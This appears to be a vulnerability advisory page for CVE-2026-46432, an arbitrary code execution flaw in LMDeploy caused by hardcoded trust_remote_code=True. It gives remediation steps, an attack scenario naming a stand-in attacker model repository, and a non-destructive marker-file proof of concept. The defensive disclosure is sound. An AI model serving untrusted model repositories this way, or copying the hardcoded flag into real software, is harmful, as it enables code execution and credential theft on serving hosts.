CVE-2026-46432: LMDeploy Arbitrary Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-m549-qq94-fvhg
CVSS 7.8
CWE-94
Published
Advisory Summary

CVE-2026-46432 is a HIGH (CVSS 7.8) arbitrary code execution vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting LMDeploy libraries in the PyPI ecosystem. The issue involves arbitrary code execution via hardcoded trust_remote_code=true in lmdeploy model initialization. Remediation is available by upgrading affected packages to version 0.13.0.

CVE-2026-46432 at a Glance

CVE Identifier CVE-2026-46432
GHSA Identifier GHSA-m549-qq94-fvhg
Severity HIGH
CVSS v3.1 Base Score 7.8
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product LMDeploy
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-46432

To remediate this vulnerability, upgrade all affected LMDeploy dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lmdeploy fixed: 0.13.0
pip install lmdeploy>=0.13.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show lmdeploy

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-46432, inspect your installed packages using pip:

pip show lmdeploy

Analyze the terminal output to locate any version of LMDeploy in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.13.0), your application is affected.

Note: The pip show lmdeploy command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In LMDeploy, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary lmdeploy hardcodes `trust_remote_code=True` in multiple HuggingFace model-loading call sites. The affected code paths are in: ```text lmdeploy/archs.py lmdeploy/utils.py ```` The vulnerable call sites pass `trust_remote_code=True` into HuggingFace Transformers APIs such as `AutoConfig.from_pretrained()`, `PretrainedConfig.get_config_dict()`, and `GenerationConfig.from_pretrained()`. Because the model path is supplied by the operator or deployment configuration, an attacker who can control the `model_path` used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository. Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process. ## Affected version Confirmed affected: ```text lmdeploy <= 0.12.3 ``` The issue was verified on `v0.12.3` and on `main`. ## Vulnerable code Confirmed call sites: ```text lmdeploy/archs.py:154 AutoConfig.from_pretrained(..., trust_remote_code=True) lmdeploy/archs.py:157 PretrainedConfig.get_config_dict(..., trust_remote_code=True) lmdeploy/utils.py:225 GenerationConfig.from_pretrained(..., trust_remote_code=True) ``` The vulnerable pattern is: ```python AutoConfig.from_pretrained(model_path, trust_remote_code=True) ``` and: ```python GenerationConfig.from_pretrained(path, trust_remote_code=True) ``` The risk is that `trust_remote_code=True` is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option. ## Attack scenario 1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving. 2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example: ```text attacker-org/malicious-model ``` 3. The lmdeploy serving process starts with that model path: ```bash lmdeploy serve api_server attacker-org/malicious-model ``` 4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with `trust_remote_code=True`. 5. Transformers loads and executes remote Python code from the attacker-controlled model repository. 6. The payload runs with the privileges of the lmdeploy serving process. ## Why this is security-sensitive `trust_remote_code=True` is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading. In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as `--trust-remote-code`. lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources. ## Proof of concept The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with `trust_remote_code=True` and shows that remote model code would execute during initialization. ```python #!/usr/bin/env python3 from __future__ import annotations import argparse import importlib.util import os import sys import tempfile from pathlib import Path MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF") MALICIOUS_MODEL = "attacker-org/malicious-model" def simulate_lmdeploy_model_load(model_path: str) -> None: """ Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded. Real vulnerable pattern: AutoConfig.from_pretrained(model_path, trust_remote_code=True) GenerationConfig.from_pretrained(path, trust_remote_code=True) When trust_remote_code=True, a malicious HuggingFace model repository can execute custom Python code during loading. """ fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_")) module_name = model_path.split("/")[-1].replace("-", "_") modeling_file = fake_model_dir / f"modeling_{module_name}.py" payload = f''' import os from pathlib import Path Path("{MARKER}").write_text( "lmdeploy trust_remote_code execution confirmed\\n" f"model_path={model_path!r}\\n" f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n" ) ''' modeling_file.write_text(payload) spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file) assert spec is not None and spec.loader is not None mod = importlib.util.module_from_spec(spec) spec.loader.exec_module(mod) def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--model-id", default=MALICIOUS_MODEL) args = parser.parse_args() if MARKER.exists(): MARKER.unlink() print(f"[*] Simulating lmdeploy loading model: {args.model_id}") print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths") simulate_lmdeploy_model_load(args.model_id) if MARKER.exists(): print("[+] Code execution confirmed") print(MARKER.read_text()) return 0 print("[-] Marker file was not created", file=sys.stderr) return 1 if __name__ == "__main__": raise SystemExit(main()) ``` Expected result: ```text [+] Code execution confirmed ``` The marker file is written to: ```text /tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF ``` ## Impact An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization. The attacker may be able to: * Read files accessible to the lmdeploy process. * Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys. * Modify model-serving behavior or tamper with responses. * Execute arbitrary operating-system commands. * Access request data or internal service credentials available to the serving process. * Cause denial of service by crashing or destabilizing the serving daemon. * Pivot to internal services reachable from the lmdeploy host or container.

CVE-2026-46432 Affected LMDeploy Versions

1 component(s)
Fixed Versions:
0.13.0
Product / Package Ecosystem Affected Versions Fixed Version
lmdeploy
PyPI
< 0.13.0
0.13.0

References

Frequently Asked Questions

What is CVE-2026-46432?
CVE-2026-46432 is a security vulnerability in LMDeploy involving Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which LMDeploy versions are affected?
Affected versions include releases prior to 0.13.0 across affected packages: lmdeploy.
What version fixes CVE-2026-46432?
Upgrading to 0.13.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is lmdeploy affected?
Yes, lmdeploy is affected in releases prior to 0.13.0. Upgrade your dependency to 0.13.0 or later.
What is the CVSS score of CVE-2026-46432?
CVE-2026-46432 has a CVSS v3.1 base score of 7.8 (HIGH) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-46432?
CVE-2026-46432 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check PyPI dependencies for CVE-2026-46432?
Run the dependency tree command: 'pip show lmdeploy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-m549-qq94-fvhg",
  "modified" : "2026-06-10T13:41:08Z",
  "published" : "2026-05-21T17:30:57Z",
  "aliases" : [ "CVE-2026-46432" ],
  "summary" : "LMDeploy: Arbitrary code execution via hardcoded trust_remote_code=True in lmdeploy model initialization",
  "details" : "## Summary\n\nlmdeploy hardcodes `trust_remote_code=True` in multiple HuggingFace model-loading call sites.\n\nThe affected code paths are in:\n\n```text\nlmdeploy/archs.py\nlmdeploy/utils.py\n````\n\nThe vulnerable call sites pass `trust_remote_code=True` into HuggingFace Transformers APIs such as `AutoConfig.from_pretrained()`, `PretrainedConfig.get_config_dict()`, and `GenerationConfig.from_pretrained()`.\n\nBecause the model path is supplied by the operator or deployment configuration, an attacker who can control the `model_path` used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.\n\nSuccessful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.\n\n## Affected version\n\nConfirmed affected:\n\n```text\nlmdeploy <= 0.12.3\n```\n\nThe issue was verified on `v0.12.3` and on `main`.\n\n## Vulnerable code\n\nConfirmed call sites:\n\n```text\nlmdeploy/archs.py:154\nAutoConfig.from_pretrained(..., trust_remote_code=True)\n\nlmdeploy/archs.py:157\nPretrainedConfig.get_config_dict(..., trust_remote_code=True)\n\nlmdeploy/utils.py:225\nGenerationConfig.from_pretrained(..., trust_remote_code=True)\n```\n\nThe vulnerable pattern is:\n\n```python\nAutoConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\nand:\n\n```python\nGenerationConfig.from_pretrained(path, trust_remote_code=True)\n```\n\nThe risk is that `trust_remote_code=True` is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.\n\n## Attack scenario\n\n1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.\n2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:\n\n```text\nattacker-org/malicious-model\n```\n\n3. The lmdeploy serving process starts with that model path:\n\n```bash\nlmdeploy serve api_server attacker-org/malicious-model\n```\n\n4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with `trust_remote_code=True`.\n5. Transformers loads and executes remote Python code from the attacker-controlled model repository.\n6. The payload runs with the privileges of the lmdeploy serving process.\n\n## Why this is security-sensitive\n\n`trust_remote_code=True` is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.\n\nIn lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as `--trust-remote-code`.\n\nlmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.\n\n## Proof of concept\n\nThe following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with `trust_remote_code=True` and shows that remote model code would execute during initialization.\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport argparse\nimport importlib.util\nimport os\nimport sys\nimport tempfile\nfrom pathlib import Path\n\nMARKER = Path(\"/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF\")\nMALICIOUS_MODEL = \"attacker-org/malicious-model\"\n\n\ndef simulate_lmdeploy_model_load(model_path: str) -> None:\n    \"\"\"\n    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.\n\n    Real vulnerable pattern:\n        AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n        GenerationConfig.from_pretrained(path, trust_remote_code=True)\n\n    When trust_remote_code=True, a malicious HuggingFace model repository can\n    execute custom Python code during loading.\n    \"\"\"\n\n    fake_model_dir = Path(tempfile.mkdtemp(prefix=\"fake_lmdeploy_model_\"))\n    module_name = model_path.split(\"/\")[-1].replace(\"-\", \"_\")\n    modeling_file = fake_model_dir / f\"modeling_{module_name}.py\"\n\n    payload = f'''\nimport os\nfrom pathlib import Path\n\nPath(\"{MARKER}\").write_text(\n    \"lmdeploy trust_remote_code execution confirmed\\\\n\"\n    f\"model_path={model_path!r}\\\\n\"\n    f\"pid={{os.getpid()}} euid={{os.geteuid()}}\\\\n\"\n)\n'''\n    modeling_file.write_text(payload)\n\n    spec = importlib.util.spec_from_file_location(f\"modeling_{module_name}\", modeling_file)\n    assert spec is not None and spec.loader is not None\n\n    mod = importlib.util.module_from_spec(spec)\n    spec.loader.exec_module(mod)\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--model-id\", default=MALICIOUS_MODEL)\n    args = parser.parse_args()\n\n    if MARKER.exists():\n        MARKER.unlink()\n\n    print(f\"[*] Simulating lmdeploy loading model: {args.model_id}\")\n    print(\"[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths\")\n\n    simulate_lmdeploy_model_load(args.model_id)\n\n    if MARKER.exists():\n        print(\"[+] Code execution confirmed\")\n        print(MARKER.read_text())\n        return 0\n\n    print(\"[-] Marker file was not created\", file=sys.stderr)\n    return 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nExpected result:\n\n```text\n[+] Code execution confirmed\n```\n\nThe marker file is written to:\n\n```text\n/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF\n```\n\n## Impact\n\nAn attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.\n\nThe attacker may be able to:\n\n* Read files accessible to the lmdeploy process.\n* Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.\n* Modify model-serving behavior or tamper with responses.\n* Execute arbitrary operating-system commands.\n* Access request data or internal service credentials available to the serving process.\n* Cause denial of service by crashing or destabilizing the serving daemon.\n* Pivot to internal services reachable from the lmdeploy host or container.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lmdeploy"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.13.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-m549-qq94-fvhg"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-46432"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/InternLM/lmdeploy/pull/4511"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/InternLM/lmdeploy"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-21T17:30:57Z",
    "nvd_published_at" : "2026-06-10T00:16:53Z"
  }
}